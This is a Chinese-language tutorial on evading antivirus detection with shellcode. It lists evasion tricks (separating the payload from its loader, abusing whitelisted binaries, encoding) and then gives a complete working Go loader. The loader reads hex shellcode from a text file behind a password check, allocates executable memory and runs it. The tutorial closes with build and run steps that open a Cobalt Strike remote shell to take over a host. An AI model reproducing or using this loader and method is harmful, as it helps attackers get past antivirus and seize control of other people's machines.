ShellCode免杀的骚姿势 常见的免杀手法:shellcode(攻击代码)和加载程序的分离;Lolbins白利用加载shellcode(白名单利用);shellcode混淆、编码解码; shellcode(攻击代码)和加载程序的分离 生
常见的免杀手法:
shellcode(攻击代码)和加载程序的分离;
Lolbins白利用加载shellcode(白名单利用);
shellcode混淆、编码解码;
shellcode(攻击代码)和加载程序的分离
生成一个C语言的playload做测试实验;
本质上生成c的payload就是16进制的代码,这些代码插入目标主机的内存中,就能触发CS远控;
这里我们在来看下官方的定义;
shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。 可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。
但shellcode类似于图纸,本身并不能进行执行,必须要配合加载器才能进行使用,所以一般杀软不会杀shellcode;exe文件就是shellcode+加载器一起集成了,容易被查杀;
单独的加载器可以使用go-shellcode-launcher
package main
import (
"io/ioutil"
"os"
"syscall"
"unsafe"
"strings"
"fmt"
"encoding/hex"
"crypto/md5"
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)
func checkErr(err error) {
if err != nil {
if err.Error() != "The operation completed successfully." {
println(err.Error())
os.Exit(1)
}
}
}
func main() {
if len(os.Args) <= 2 {
os.Exit(0)
}
//var shellcodes string
var shellcode []byte
if len(os.Args) > 2 {
data := []byte(os.Args[1])
has := md5.Sum(data)
md5str1 := fmt.Sprintf("%x", has) //将[]byte转成16进制
if (md5str1) != "81592ae4e09eb3dfb96aaecbf84730d0" {
//第一个参数只有是 bobohacker 才能跑起
os.Exit(0)
}
if fileObj, err := os.Open(os.Args[2]); err == nil {
//第二个参数为放shellcode的txt文件名
defer fileObj.Close()
if contents, err := ioutil.ReadAll(fileObj); err == nil {
shellcodes := strings.ReplaceAll(string(contents), "\n", "")
shellcodes = strings.ReplaceAll(string(shellcodes), "\\x", "")
shellcode, _ = hex.DecodeString(shellcodes)
}
}
}
addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if addr == 0 {
checkErr(err)
}
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
checkErr(err)
syscall.Syscall(addr, 0, 0, 0, 0)
}
继续生成payload123.c,然后将payload的内容复制出来,放在bobo.txt中
将go的文件编译成exe文件
go build golauncher.go
然在目录下执行
golauncher.exe bobohacker bobo.txt
其中的bobohacker是密码;
然后就触发shell,拿下主机;